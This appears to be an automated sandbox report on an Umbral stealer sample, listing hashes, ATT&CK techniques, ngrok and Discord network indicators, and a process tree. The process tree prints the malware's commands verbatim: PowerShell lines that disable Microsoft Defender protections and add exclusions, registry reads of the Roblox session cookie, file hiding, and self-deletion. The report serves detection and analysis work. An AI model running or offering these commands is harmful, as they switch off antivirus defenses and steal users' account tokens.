umbral | 331faea175ced9239aa38c09f75cf1cba4a331461268315b76c94bb7c7a4b8d8

Analysis

max time kernel
148s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
12/01/2025, 06:10

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General

Target

resembleC2.exe
Size

128KB
MD5

4c8044c83f60465eae3cc16d7c858085
SHA1

bc837ba36a8f244283483210215a11607f05fb63
SHA256

331faea175ced9239aa38c09f75cf1cba4a331461268315b76c94bb7c7a4b8d8
SHA512

f4783ae1591dafc44b1731c34dfced82e5285099a4066b6492e063b1ca5edb4a0916fcad0617b38c0fc754c304d932879cf3014bfce83c0b9a7219f8bc737432
SSDEEP

3072:oRt4KXzdjBFUxzV4NsFYGvL9JjyVcUuyTRc8R:q4gRjBF4SKFYMLbjxUBRc8

Score

10^/10

umbral discovery execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023cbe-22.dat	family_umbral
behavioral2/memory/5048-30-0x000001F083590000-0x000001F0835D0000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4576	powershell.exe
2948	powershell.exe
3496	powershell.exe
2520	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	MoonHub.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000\Control Panel\International\Geo\Nation	resembleC2.exe

Executes dropped EXE 2 IoCs

pid	Process
1380	6z2guuz0ldkdgc1o.exe
5048	MoonHub.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
60	0.tcp.eu.ngrok.io
90	0.tcp.eu.ngrok.io
21	0.tcp.eu.ngrok.io
26	discord.com
28	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
3864	cmd.exe
4512	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4032	wmic.exe

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	resembleC2.exe
Key created	\REGISTRY\USER\S-1-5-21-940901362-3608833189-1915618603-1000_Classes\Local Settings	OpenWith.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4512	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
5048	MoonHub.exe
2520	powershell.exe
2520	powershell.exe
4576	powershell.exe
4576	powershell.exe
2948	powershell.exe
2948	powershell.exe
3164	powershell.exe
3164	powershell.exe
3496	powershell.exe
3496	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1380	6z2guuz0ldkdgc1o.exe
Token: SeDebugPrivilege	5048	MoonHub.exe
Token: SeIncreaseQuotaPrivilege	1780	wmic.exe
Token: SeSecurityPrivilege	1780	wmic.exe
Token: SeTakeOwnershipPrivilege	1780	wmic.exe
Token: SeLoadDriverPrivilege	1780	wmic.exe
Token: SeSystemProfilePrivilege	1780	wmic.exe
Token: SeSystemtimePrivilege	1780	wmic.exe
Token: SeProfSingleProcessPrivilege	1780	wmic.exe
Token: SeIncBasePriorityPrivilege	1780	wmic.exe
Token: SeCreatePagefilePrivilege	1780	wmic.exe
Token: SeBackupPrivilege	1780	wmic.exe
Token: SeRestorePrivilege	1780	wmic.exe
Token: SeShutdownPrivilege	1780	wmic.exe
Token: SeDebugPrivilege	1780	wmic.exe
Token: SeSystemEnvironmentPrivilege	1780	wmic.exe
Token: SeRemoteShutdownPrivilege	1780	wmic.exe
Token: SeUndockPrivilege	1780	wmic.exe
Token: SeManageVolumePrivilege	1780	wmic.exe
Token: 33	1780	wmic.exe
Token: 34	1780	wmic.exe
Token: 35	1780	wmic.exe
Token: 36	1780	wmic.exe
Token: SeIncreaseQuotaPrivilege	1780	wmic.exe
Token: SeSecurityPrivilege	1780	wmic.exe
Token: SeTakeOwnershipPrivilege	1780	wmic.exe
Token: SeLoadDriverPrivilege	1780	wmic.exe
Token: SeSystemProfilePrivilege	1780	wmic.exe
Token: SeSystemtimePrivilege	1780	wmic.exe
Token: SeProfSingleProcessPrivilege	1780	wmic.exe
Token: SeIncBasePriorityPrivilege	1780	wmic.exe
Token: SeCreatePagefilePrivilege	1780	wmic.exe
Token: SeBackupPrivilege	1780	wmic.exe
Token: SeRestorePrivilege	1780	wmic.exe
Token: SeShutdownPrivilege	1780	wmic.exe
Token: SeDebugPrivilege	1780	wmic.exe
Token: SeSystemEnvironmentPrivilege	1780	wmic.exe
Token: SeRemoteShutdownPrivilege	1780	wmic.exe
Token: SeUndockPrivilege	1780	wmic.exe
Token: SeManageVolumePrivilege	1780	wmic.exe
Token: 33	1780	wmic.exe
Token: 34	1780	wmic.exe
Token: 35	1780	wmic.exe
Token: 36	1780	wmic.exe
Token: SeDebugPrivilege	2520	powershell.exe
Token: SeDebugPrivilege	4576	powershell.exe
Token: SeDebugPrivilege	2948	powershell.exe
Token: SeIncBasePriorityPrivilege	1380	6z2guuz0ldkdgc1o.exe
Token: SeDebugPrivilege	3164	powershell.exe
Token: SeIncreaseQuotaPrivilege	4392	wmic.exe
Token: SeSecurityPrivilege	4392	wmic.exe
Token: SeTakeOwnershipPrivilege	4392	wmic.exe
Token: SeLoadDriverPrivilege	4392	wmic.exe
Token: SeSystemProfilePrivilege	4392	wmic.exe
Token: SeSystemtimePrivilege	4392	wmic.exe
Token: SeProfSingleProcessPrivilege	4392	wmic.exe
Token: SeIncBasePriorityPrivilege	4392	wmic.exe
Token: SeCreatePagefilePrivilege	4392	wmic.exe
Token: SeBackupPrivilege	4392	wmic.exe
Token: SeRestorePrivilege	4392	wmic.exe
Token: SeShutdownPrivilege	4392	wmic.exe
Token: SeDebugPrivilege	4392	wmic.exe
Token: SeSystemEnvironmentPrivilege	4392	wmic.exe
Token: SeRemoteShutdownPrivilege	4392	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
5100	OpenWith.exe

Suspicious use of WriteProcessMemory 30 IoCs

description	pid	Process	procid_target
PID 1224 wrote to memory of 1380	1224	resembleC2.exe	83
PID 1224 wrote to memory of 1380	1224	resembleC2.exe	83
PID 1224 wrote to memory of 5048	1224	resembleC2.exe	86
PID 1224 wrote to memory of 5048	1224	resembleC2.exe	86
PID 5048 wrote to memory of 1780	5048	MoonHub.exe	87
PID 5048 wrote to memory of 1780	5048	MoonHub.exe	87
PID 5048 wrote to memory of 3256	5048	MoonHub.exe	89
PID 5048 wrote to memory of 3256	5048	MoonHub.exe	89
PID 5048 wrote to memory of 2520	5048	MoonHub.exe	91
PID 5048 wrote to memory of 2520	5048	MoonHub.exe	91
PID 5048 wrote to memory of 4576	5048	MoonHub.exe	93
PID 5048 wrote to memory of 4576	5048	MoonHub.exe	93
PID 5048 wrote to memory of 2948	5048	MoonHub.exe	95
PID 5048 wrote to memory of 2948	5048	MoonHub.exe	95
PID 5048 wrote to memory of 3164	5048	MoonHub.exe	98
PID 5048 wrote to memory of 3164	5048	MoonHub.exe	98
PID 5048 wrote to memory of 4392	5048	MoonHub.exe	100
PID 5048 wrote to memory of 4392	5048	MoonHub.exe	100
PID 5048 wrote to memory of 4764	5048	MoonHub.exe	102
PID 5048 wrote to memory of 4764	5048	MoonHub.exe	102
PID 5048 wrote to memory of 3528	5048	MoonHub.exe	104
PID 5048 wrote to memory of 3528	5048	MoonHub.exe	104
PID 5048 wrote to memory of 3496	5048	MoonHub.exe	106
PID 5048 wrote to memory of 3496	5048	MoonHub.exe	106
PID 5048 wrote to memory of 4032	5048	MoonHub.exe	108
PID 5048 wrote to memory of 4032	5048	MoonHub.exe	108
PID 5048 wrote to memory of 3864	5048	MoonHub.exe	115
PID 5048 wrote to memory of 3864	5048	MoonHub.exe	115
PID 3864 wrote to memory of 4512	3864	cmd.exe	117
PID 3864 wrote to memory of 4512	3864	cmd.exe	117

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
3256	attrib.exe

C:\Users\Admin\AppData\Local\Temp\resembleC2.exe
"C:\Users\Admin\AppData\Local\Temp\resembleC2.exe"
1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1224
- C:\Users\Admin\AppData\Local\Temp\6z2guuz0ldkdgc1o.exe
  "C:\Users\Admin\AppData\Local\Temp\6z2guuz0ldkdgc1o.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1380
- C:\Users\Admin\AppData\Local\Temp\MoonHub.exe
  "C:\Users\Admin\AppData\Local\Temp\MoonHub.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:5048
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1780
- - C:\Windows\SYSTEM32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\MoonHub.exe"
    3⤵
    - Views/modifies file attributes
    PID:3256
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\MoonHub.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2520
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4576
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2948
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3164
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4392
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:4764
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:3528
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:3496
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:4032
- - C:\Windows\SYSTEM32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\MoonHub.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:3864
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:4512

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:5100

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c5cb6788b18e8d7a108b03694dff06fc

SHA1
e1717af094a22cc510bf8ae1e6cfc93c672d7284

SHA256
6bdba5e2622d03e3421f464fe6080d28bffe09067883d359288884c1c119584d

SHA512
04dc314d71c4abeb427be865aeae26f08f0e37c1065105ff3c6a8142378d821590e032bb7883f1bfe7acf2421fd9fa155b479b80134261650017b6a9d8d8be90

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
2af06a6b36db9473e4a7d9c7ab72b70b

SHA1
8ef34b9b961e51bdd1b8d7d9db2ec1b0a4764645

SHA256
18a2aa7e245c6732f95fb7749b2b4d29007f2c56a9c5bfbc5e3c127bdfe5f158

SHA512
3495567a5d5af94ae27be51313d9e2630c52017d808042fe0d56baa34fa1d246eb15c253d14c77c77a1d8f2f1c81680e623044ae95415b095696e7fa141ac7cf

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
d3235ed022a42ec4338123ab87144afa

SHA1
5058608bc0deb720a585a2304a8f7cf63a50a315

SHA256
10663f5a1cb0afe5578f61ebaae2aafb363544e47b48521f9c23be9e6e431b27

SHA512
236761b7c68feca8bd62cba90cff0b25fac5613837aaa5d29ae823ace8b06a2057553cf7e72b11ccc59b6c289e471ca1bbac1a880aef5e2868875371a17c1abf

Download Submit
C:\Users\Admin\AppData\Local\Temp\6z2guuz0ldkdgc1o.exe

Filesize
45KB

MD5
8c7d2f0a936dbe6d0899d40171ffb668

SHA1
0b22fcd904f3b0fa2555a32a2635423668fc4616

SHA256
85f5f5acb54c30efd4f84c0f11c834b7dab98c5bb7357bddcd29fbe5babc4db6

SHA512
463a48ec2752fd002e82dfe555abd03fc666a523da99e0e848788eeff6f98d06d36a360cfd7ad70d342bb4c90a49131a3428f1404d17e04a7fe5a1022c1faa65

Download Submit
C:\Users\Admin\AppData\Local\Temp\MoonHub.exe

Filesize
231KB

MD5
f70b5e56a09af292d4e909c547f9c8c0

SHA1
577883bdbe8dc9582e15e7a1212b1fe432bafce3

SHA256
8fd22c5acb3144dbaa5ab3f9dd5901eb6f3beef67e72ea431246c6a790c067de

SHA512
e54ccb56aa6473abd3530493933d5164f2dff02076e0f03443382f02d177a52e318d8d0f432e6a3fb5620eaffd09f2dbf6ccbf9698ba149b149c594fa162d879

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2qw2q3fi.cgs.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1224-1-0x00000000001A0000-0x00000000001C6000-memory.dmp

Filesize
152KB

Download
memory/1224-10-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/1224-0-0x00007FF9A4C43000-0x00007FF9A4C45000-memory.dmp

Filesize
8KB

Download
memory/1224-31-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/1380-17-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/1380-16-0x0000000000BE0000-0x0000000000BF0000-memory.dmp

Filesize
64KB

Download
memory/1380-118-0x00007FF9A4C40000-0x00007FF9A5701000-memory.dmp

Filesize
10.8MB

Download
memory/2520-32-0x000002807F1F0000-0x000002807F212000-memory.dmp

Filesize
136KB

Download
memory/5048-58-0x000001F09DCE0000-0x000001F09DD56000-memory.dmp

Filesize
472KB

Download
memory/5048-59-0x000001F085360000-0x000001F0853B0000-memory.dmp

Filesize
320KB

Download
memory/5048-60-0x000001F09DD60000-0x000001F09DD7E000-memory.dmp

Filesize
120KB

Download
memory/5048-30-0x000001F083590000-0x000001F0835D0000-memory.dmp

Filesize
256KB

Download
memory/5048-97-0x000001F085350000-0x000001F08535A000-memory.dmp

Filesize
40KB

Download
memory/5048-98-0x000001F09DD80000-0x000001F09DD92000-memory.dmp

Filesize
72KB

Download